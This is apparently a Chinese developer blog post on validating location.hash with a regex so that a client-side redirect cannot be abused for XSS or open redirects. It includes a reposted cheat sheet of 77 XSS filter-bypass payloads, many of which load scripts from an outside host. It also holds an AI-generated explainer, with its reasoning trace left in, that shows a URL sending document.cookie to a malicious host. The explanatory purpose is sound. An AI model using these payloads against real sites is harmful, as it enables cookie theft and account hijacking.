javascript如何对location.hash过滤xss跨站脚本

本文介绍了如何通过正则表达式验证location.hash的值来防止XSS跨站脚本攻击和中转服务器的问题,确保了只有符合特定模式的URL才会被跳转。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

场景:

需要获取类似如下url的hash值并做跳转:

http://www.xxx.com/home#/comments?type=0

 

改进前:

    (function() {
        var originalUrl = window.location.href,
            toUrl = originalUrl.indexOf('#') != -1 && originalUrl.split('#')[1];
        if (toUrl) {
            window.location.href = toUrl;
        }
    })();

 

很简单的处理方法,完全没有考虑到如下的安全问题:

1、xss跨站脚本攻击

如:

http://www.xxx.com/home#javascript:alert(document.cookie);

 

2、中转服务器

http://www.xxx.com/home#http://www.zzz.com

 

 

改进后:

    (function() {
        var originalUrl = window.location.href,
            toUrl = originalUrl.indexOf('#') != -1 && originalUrl.split('#')[1],
            reg=/^[\w\?&=\/]*$/;

        if (toUrl&&reg.test(toUrl)) {
            window.location.href = toUrl;
        }
    })();

 

网上介绍的xss跨站脚本攻击的过滤方法实在太多了,javascript的关键字,还有各种各样的编码,字符串组合,与其考虑需要过滤的条件,还不如多多考虑应用场景,在这里我们的location.hash的值只是本域内的普通url,故暂且做了以上的改进。

 

附(网转):

<!--
XSS攻击汇总 

(1)普通的XSS JavaScript注入<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(3)IMG标签无分号无引号<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>

(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>

(17)空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 2/6
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
<IMG SRC=” javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>

(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”

(27)双开角括号
<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript
\”;alert(‘XSS’);//

(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>

(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签
<BODY(‘XSS’)>

(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>

(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>

(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>

(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>

(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0;
URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6

(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
CLASS=XSS></A>

(52)IMG STYLE方式
exppression(alert(“XSS”))’>

(53)STYLE background
<STYLE><STYLE
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>

(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);

(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上<HTML xmlns:xss><?importnamespace=”xss” implementation=”http://3w.org/XSS/xss.htc”><xss:xss>XSS</xss:xss>
</HTML>

(58)如果过滤了你的JS你可以在图片里添加JS代码来利用<SCRIPT SRC=””></SCRIPT>

(59)IMG嵌入式命令,可执行任意命令<IMG SRC=”http://www.XXX.com/a.php?a=b”>

(60)IMG嵌入式命令(a.jpg在同服务器)Redirect302/a.jpg http://www.XXX.com/admin.asp&deleteuser

(61)绕符号过滤<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>

(62)<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>

(63)<SCRIPT a=”>”” SRC=”http://3w.org/xss.js”></SCRIPT>

(64)<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>

(65)<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>

(66)12-7-1 T00LS -PoweredbyDiscuz!Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>

(67)<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>

(68)URL绕行
<A HREF=”http://127.0.0.1/”>XSS</A>

(69)URL编码
<A HREF=”http://3w.org”>XSS</A>

(70)IP十进制
<A HREF=”http://3232235521″>XSS</A>

(71)IP十六进制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP八进制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>

(73)混合编码
<A HREF=”h
tt p://66.000146.0×7.147/”">XSS</A>

(74)节省[http:]
<A HREF=”//www.google.com/”>XSS</A>

(75)节省[www]
<A HREF=”http://google.com/”>XSS</A>

(76)绝对点绝对DNS
<A HREF=”http://www.google.com./”>XSS</A>

(77)javascript链接
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>

-->

 

<think>首先,用户的问题是关于XSS跨站脚本攻击)的:他们想了解原理详解和修复方法。系统指令要求我使用中文回答,确保LaTeX语法正确(行内数学表达式用$...$,独立公式用$$...$$),并生成相关问题。最后,添加引用标识。 参考提供的引用: - 引用[1]:解释了XSS的基本概念:恶意攻击者向Web页面插入恶意script代码,当用户浏览时,代码被执行。 - 引用[2]:提到XSS原理详解,包括攻击实例和工具,如xss平台、beef等。 用户的问题焦点是:XSS成功利用的原理及其详细修复方法。所以,我需要覆盖: 1. **原理**:解释XSS如何工作,包括类型(如反射型、存储型、DOM型)。 2. **成功利用的原理**:攻击者如何注入脚本,用户如何触发,以及后果(如窃取cookie、会话劫持)。 3. **修复方法**:详细的方法,如输入验证、输出编码、使用安全HTTP头(如Content Security Policy)。 结构化回答: - 开头简要介绍XSS。 - 然后分节:原理部分(包括成功利用的关键点)和修复方法部分。 - 结尾生成相关问题。 确保回答真实可靠:基于我的知识,XSS原理包括: - 攻击者注入恶意脚本到Web应用中。 - 类型:反射型(URL参数反射)、存储型(持久化存储)、DOM型(客户端处理)。 - 成功利用:当用户访问特定页面时,脚本在浏览器执行,可能导致数据窃取、重定向等。 - 修复:输入过滤、输出编码、CSP、使用框架安全功能等。 在回答中,引用提供的引用[1]和[2],但用户说“上述引用仅供参考”,所以我应该基于这些构建,但不要过度依赖。引用[1]定义了XSS,引用[2]提到原理和工具。我可以自然地融入。 添加引用标识:在相关段落末尾添加[^1]或[^2]。例如,解释原理时引用[1],提到工具时引用[2]。 生成相关问题:在回答结束时,添加“§§相关问题§§”部分,列出3-5个相关问题。 格式要求: - 行内数学表达式:如果有数学内容,如计算概率,但XSS可能不涉及太多数学,所以可能不需要。如果有,比如提到编码时,用$...$。 - 独立公式:如果需要,用$$...$$单独成段。 - 中文回答。 回答结构: 1. **介绍**:简要定义XSS。 2. **原理详解**:解释攻击过程、类型、成功利用的关键。 3. **修复方法**:详细列出并解释方法。 4. **相关问题**:生成相关问题。 大纲: - 开头:XSS跨站脚本攻击,恶意脚本被注入执行。 - 原理部分: - 攻击者如何注入:通过用户输入点(如表单、URL)。 - 类型:反射型、存储型、DOM型。 - 成功利用:脚本执行在受害者浏览器中,导致会话劫持、钓鱼等。 - 修复方法: - 输入验证:过滤和验证用户输入。 - 输出编码:在输出到HTML时编码特殊字符。 - 使用CSP(Content Security Policy)。 - 其他:如设置HttpOnly标志、使用安全框架。 - 结尾:相关问题。 生成相关问题: 1. XSS攻击的常见工具有哪些? 2. 如何测试Web应用中的XSS漏洞? 3. XSS与其他Web攻击(如CSRF)的区别是什么? 确保引用: - 在定义XSS时,引用[^1]。 - 在提到原理或工具时,引用[^2]。 最终回答:</think>### XSS跨站脚本攻击原理详解及修复方法 XSS跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过注入恶意脚本到Web页面中,当用户浏览该页面时,脚本在用户浏览器中执行,从而窃取数据、劫持会话或发起进一步攻击[^1]。下面我将逐步解释XSS成功利用的原理,并提供详细的修复方法。回答基于可靠的安全实践,确保内容真实。 #### XSS成功利用的原理详解 XSS攻击的核心在于攻击者能够将恶意脚本注入到Web应用的输出流中,并在用户浏览器中执行。成功利用的关键步骤如下: 1. **注入点识别**:攻击者寻找Web应用中未经验证的用户输入点,如表单字段、URL参数、Cookie或HTTP头部。例如,在搜索框中输入恶意脚本: ```html <script>alert('XSS')</script> ``` 如果应用未处理此输入,脚本会被反射或存储。 2. **脚本注入与执行**:根据XSS类型,注入方式不同: - **反射型XSS**:恶意脚本通过URL参数传递,服务器“反射”回页面。例如,用户点击一个恶意链接: ``` http://example.com/search?query=<script>document.location='http://malicious.com/steal?cookie='+document.cookie</script> ``` 当用户访问此URL时,脚本执行,窃取Cookie[^1]。 - **存储型XSS**:脚本被永久存储到数据库(如评论区),所有访问该页面的用户都会触发执行。例如,攻击者在论坛帖子中注入脚本,窃取登录凭证。 - **DOM型XSS**:攻击利用客户端JavaScript处理漏洞(如`document.write`或`innerHTML`),无需服务器参与。脚本通过修改DOM树执行,例如: ```javascript document.getElementById('output').innerHTML = unescape(location.hash.substring(1)); ``` 如果URL为`example.com#<img src=x onerror=alert(1)>`,脚本会被执行。 3. **成功利用的条件**: - **用户交互**:受害者必须访问包含恶意脚本的页面(如点击钓鱼链接)。 - **浏览器执行**:脚本在用户浏览器中运行,利用同源策略绕过限制,访问敏感数据(如Cookie、会话令牌)。 - **攻击后果**:可能导致会话劫持、数据窃取(如密码)、钓鱼攻击或安装恶意软件。例如,使用工具如BeEF(Browser Exploitation Framework)可远程控制受害者浏览器[^2]。 XSS攻击的成功率取决于Web应用的安全防护强度。攻击者常使用平台如XSS平台或工具如XSStrike进行自动化测试[^2]。 #### 详细修复方法 修复XSS漏洞需要多层次的防御策略,确保用户输入被安全处理。以下是关键方法,适用于开发和安全运维: 1. **输入验证与过滤**: - **原理**:在服务器端对用户输入进行严格验证,只允许安全字符(如字母、数字)。使用正则表达式过滤或删除危险字符(如`<`, `>`, `&`)。 - **实现**:例如,在PHP中使用`filter_var`函数: ```php $input = filter_var($_POST['input'], FILTER_SANITIZE_STRING); ``` - **最佳实践**:结合白名单验证(只允许已知安全模式),避免黑名单(易被绕过)。 2. **输出编码**: - **原理**:在将数据输出到HTML、JavaScript或URL时,对特殊字符进行编码,防止脚本执行。例如,将`<`转换为`<`。 - **实现**: - **HTML上下文**:使用函数如`htmlspecialchars`(PHP)或框架内置方法: ```php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ``` - **JavaScript上下文**:使用`JSON.stringify`或专用库: ```javascript var safeOutput = JSON.stringify(untrustedData); ``` - **URL上下文**:编码参数,如JavaScript的`encodeURIComponent`。 3. **使用Content Security Policy (CSP)**: - **原理**:通过HTTP头部定义可信来源,限制脚本执行。CSP阻止内联脚本和外部恶意资源。 - **实现**:在服务器响应头中添加: ``` Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; ``` 这确保脚本只从`self`或指定CDN加载,减少XSS风险[^1]。 4. **其他安全措施**: - **设置HttpOnly标志**:在Cookie中添加`HttpOnly`属性,防止JavaScript访问: ``` Set-Cookie: sessionID=123; HttpOnly; Secure ``` - **框架安全功能**:使用现代Web框架(如React或Angular),它们内置XSS防护(如自动编码)。避免直接操作DOM。 - **定期安全测试**:使用工具如Burp Suite或XSStrike扫描漏洞,并结合渗透测试[^2]。 - **用户教育**:提醒用户避免点击可疑链接,减少反射型XSS风险。 修复XSS需要持续监控和更新,因为攻击技术不断演进。结合以上方法,可显著降低风险。例如,输入验证和输出编码能阻止90%以上的XSS漏洞[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值